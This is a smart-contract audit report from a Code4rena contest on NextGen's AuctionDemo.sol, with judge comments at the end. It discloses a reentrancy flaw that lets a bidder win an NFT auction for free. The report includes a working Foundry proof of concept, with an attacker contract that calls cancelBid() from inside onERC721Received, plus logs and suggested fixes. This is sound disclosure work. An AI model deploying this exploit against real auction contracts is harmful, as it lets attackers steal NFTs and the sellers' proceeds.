Malicious actor can win a NFT for free from auction

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

There are a different reasons why this attack vector is possible. If we consider the M-01 Unchecked return value of low-level call()/delegatecall() instances pertaining to the claimAuction() function in the AuctionDemo.sol contract are fixed and the success of the low level calls are checked this will turn into an another way to brick the claimAuction() function. Using the same attacking contract and test provided in the POC, as the function will always revert, the attacker won't be able to receive the NFT, or get his funds back but he will also block all other previous bidders funds. This will still be a different issue than the other issue pertaining to bricking the claimAuction() that I have summited Auction can be bricked by a malicious user. As the root problem in Auction can be bricked by a malicious user is that a contract can be crafted in such a way that it can't receive an NFT. This will also break an invariant specified by the team: The highest bidder will receive the token after an auction finishes, the owner of the token will receive the funds and all other participants will get refunded. . The second reason why this is possible is because the require statement in the claimAuction() function is require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && ...) and the require statements in cancelBid() and cancelAllBids() are require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); . The third reason is reentrancy. When block.timestamp == minter.getAuctionEndTime(_tokenid) a malicious actor can first execute claimAuction(), from a purposely created contract (ReentrancyAuctionDemo.sol from the POC) and when the NFT is sent to the specified contract execute cancelBid() . This will first sent back the bids of all the users that have bid for the NFT but didn't win, then the cancelBid() will be executed and the attacker will claim his bid as well. Thus the attacker will get the NFT for free, and the initial owner of the NFT will be left empty handed. Keep in mind this is a different issue from Auction can be gamed by a malicious user because as explained in Auction can be gamed by a malicious user changing the require statements require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); in both cancelBid() and cancelAllBids() to require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");, won't fully mitigate the issue. Here the main roots of the issue are the reentrancy combined with the <= check in the require statements.

Proof of Concept

To run the POC first follow the steps in this link: https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry in order to add foundry to the project.

Create a AuditorTest.t.sol file in the test folder and add the following to it:

pragma solidity 0.8.19;

import {Test, console} from "forge-std/Test.sol";
import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol"; 
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
import {ReentrancyAuctionDemo} from "./ReentrancyAuctionDemo.sol";

contract AuditorTests  is Test {
    DelegationManagementContract public delegationManagementContract;
    randomPool public rPool;
    NextGenAdmins public nextGenAdmins;
    NextGenCore public nextGenCore;
    NextGenMinterContract public nextGenMinterContract;
    NextGenRandomizerNXT public nextGenRandomizerNXT;
    auctionDemo public aDemo;
    ReentrancyAuctionDemo public reentrancyAuctionDemo;

    address public contractOwner = vm.addr(1);
    address public alice = vm.addr(2);
    address public bob = vm.addr(3);
    address public hacker = vm.addr(4);
    address public globalAdmin = vm.addr(5);
    address public collectionAdmin = vm.addr(6);
    address public functionAdmin = vm.addr(7);
    address public john = vm.addr(8);
    address public auctionNftOwner = vm.addr(9);
    address public tom = vm.addr(10);
    address public delAddress = address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B);
    bytes32 public merkleRoot = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870;

    function setUp() public {
        vm.startPrank(contractOwner);
        /// INFO: Deploy contracts
        delegationManagementContract = new DelegationManagementContract();
        rPool = new randomPool();
        nextGenAdmins = new NextGenAdmins();
        nextGenCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(nextGenAdmins));
        nextGenMinterContract = new NextGenMinterContract(address(nextGenCore), address(delegationManagementContract), address(nextGenAdmins));
        nextGenRandomizerNXT = new NextGenRandomizerNXT(address(rPool), address(nextGenAdmins), address(nextGenCore));

        /// INFO: Set admins
        nextGenAdmins.registerAdmin(globalAdmin, true);
        nextGenAdmins.registerCollectionAdmin(1, collectionAdmin, true);
        nextGenAdmins.registerCollectionAdmin(2, collectionAdmin, true);
        vm.stopPrank();

        /// INFO: Set up collection in genCore
        vm.startPrank(globalAdmin);
        string[] memory collectionScript = new string[](1);
        collectionScript[0] = "desc";
        nextGenCore.createCollection("Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript);
        nextGenCore.createCollection("Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript);
        nextGenCore.addRandomizer(1, address(nextGenRandomizerNXT));
        nextGenCore.addRandomizer(2, address(nextGenRandomizerNXT));
        nextGenCore.addMinterContract(address(nextGenMinterContract));
        vm.stopPrank();

        /// INFO: Set up collection params in minter contract
        vm.startPrank(collectionAdmin);
        /// INFO: Set up collection 1
        nextGenCore.setCollectionData(1, collectionAdmin, 2, 10000, 1000);
        nextGenMinterContract.setCollectionCosts(
          1, // _collectionID
          1 ether, // _collectionMintCost 1 eth
          0, // _collectionEndMintCost 0.1 eth
          10, // _rate
          200, // _timePeriod
          3, // _salesOptions
          delAddress // delAddress
        );
        
        nextGenMinterContract.setCollectionPhases(
          1, // _collectionID
          201, // _allowlistStartTime
          400, // _allowlistEndTime
          401, // _publicStartTime
          2000, // _publicEndTime
          merkleRoot // _merkleRoot
        );

        /// INFO: Set up collection 2 playing the role of the burn collection
        nextGenCore.setCollectionData(2, collectionAdmin, 2, 10000, 1000);
        nextGenMinterContract.setCollectionCosts(
          2, // _collectionID
          1 ether, // _collectionMintCost 1 eth
          0, // _collectionEndMintCost 0.1 eth
          10, // _rate
          20, // _timePeriod
          3, // _salesOptions
          delAddress // delAddress
        );
        
        nextGenMinterContract.setCollectionPhases(
          2, // _collectionID
          21, // _allowlistStartTime
          100, // _allowlistEndTime
          200, // _publicStartTime
          500, // _publicEndTime
          merkleRoot // _merkleRoot
        );
        vm.stopPrank();

        /// INFO: intilialize burn
        vm.startPrank(globalAdmin);
        nextGenMinterContract.initializeBurn(2, 1, true);
        vm.stopPrank();

        /// INFO: Deploy AuctionDemo contract and approve contract to transfer NFTs
        vm.startPrank(auctionNftOwner);
        aDemo = new auctionDemo(address(nextGenMinterContract), address(nextGenCore), address(nextGenAdmins));
        nextGenCore.setApprovalForAll(address(aDemo), true);
        vm.stopPrank();
    }

    function test_ReentrancyAuctionDemo() public {
      /// INFO: Set up Auction Demo contract
      skip(401);
      vm.startPrank(globalAdmin);
      string memory tokenData = "{'tdh': '100'}";
      nextGenMinterContract.mintAndAuction(auctionNftOwner, tokenData, 2, 1, 500);
      vm.stopPrank();

      /// INFO: Alice bids 5 ether
      vm.startPrank(alice);
      vm.deal(alice, 5 ether);
      aDemo.participateToAuction{value: 5 ether}(10_000_000_000);
      vm.stopPrank();

      /// INFO: Bob bids 6 ether
      vm.startPrank(bob);
      vm.deal(bob, 6 ether);
      aDemo.participateToAuction{value: 6 ether}(10_000_000_000);
      vm.stopPrank();

      /// INFO: John bids 7 ether
      vm.startPrank(john);
      vm.deal(john, 7 ether);
      aDemo.participateToAuction{value: 7 ether}(10_000_000_000);
      vm.stopPrank();

      /// INFO: Tom bids 8 ether
      vm.startPrank(tom);
      vm.deal(tom, 8 ether);
      aDemo.participateToAuction{value: 8 ether}(10_000_000_000);

      vm.stopPrank();
      vm.startPrank(hacker);
      vm.deal(hacker, 9 ether);
      reentrancyAuctionDemo = new ReentrancyAuctionDemo(address(aDemo));
      uint256 winningBid = 8 ether + 1;
      reentrancyAuctionDemo.bid{value: winningBid}(10_000_000_000);
      console.log("Balance of the Auction Demo contract after all bids: ", address(aDemo).balance);
      skip(98);
      reentrancyAuctionDemo.claimAuction(4);
      reentrancyAuctionDemo.withdraw();
      console.log("Balance after claim");
      console.log("Balance of auction demo contract: ", address(aDemo).balance);
      console.log("Balance of hacker : ", hacker.balance);
      console.log("Balance of auction NFT owner : ", auctionNftOwner.balance);
      console.log("Balance of Alice: ", alice.balance);
      console.log("Balance of Bob: ", bob.balance);
      console.log("Balance of John: ", john.balance);
      console.log("Balance of Tom: ", tom.balance);
      assertEq(address(reentrancyAuctionDemo), nextGenCore.ownerOf(10_000_000_000));
      vm.stopPrank();
    }
}

Create a ReentrancyAuctionDemo.sol file in the test folder and add the following to it:

pragma solidity 0.8.19;

import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
import {IERC721Receiver} from "../smart-contracts/IERC721Receiver.sol";

contract ReentrancyAuctionDemo {
    auctionDemo public aDemo;
    uint256 public tokenIdBid;
    uint256 public bidIndex;
    address public hacker;
    constructor(address _aDemo) {
        aDemo = auctionDemo(_aDemo);
        hacker = msg.sender;
    }

    modifier onlyHacker() {
        require(msg.sender == hacker, "Not the right hacker");
        _;
    }
    function bid(uint256 _tokenId) public onlyHacker payable{
        tokenIdBid = _tokenId;
        aDemo.participateToAuction{value: msg.value}(tokenIdBid);
    }

    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4){
        aDemo.cancelBid(tokenIdBid, bidIndex);
        return IERC721Receiver.onERC721Received.selector;
    }

    function claimAuction(uint256 _bidIndex) public onlyHacker {
        bidIndex = _bidIndex;
        aDemo.claimAuction(tokenIdBid);
    }

    function withdraw() public onlyHacker {
        uint256 balance = address(this).balance;
        (bool success, ) = payable(hacker).call{value: balance}("");
        require(success);
    }

    receive() external payable {}
}

Logs:
  Balance of the Auction Demo contract after all bids:  34000000000000000001
  Balance after claim
  Balance of auction demo contract:  0
  Balance of hacker :  9000000000000000000
  Balance of auction NFT owner :  0
  Balance of Alice:  5000000000000000000
  Balance of Bob:  6000000000000000000
  Balance of John:  7000000000000000000
  Balance of Tom:  8000000000000000000

To run the test use: forge test -vvv --mt test_ReentrancyAuctionDemo

Tools Used

Manual review & Foundy

Recommended Mitigation Steps

In order to fix the reentrancy vulnerability you can add a nonReentrant modifier to the claimAuction() or change the require block require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && ... to require(block.timestamp > minter.getAuctionEndTime(_tokenid) && ... . You can also change the require statements require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); in both cancelBid() and cancelAllBids() to require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");. But the contract have too many different vulnerabilities, I would recommend to rewrite the whole contract following best practices and suggestions from auditors and most of all utilizing the Pull over Push pattern, as well as aggregating specific users bids.

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as partial-50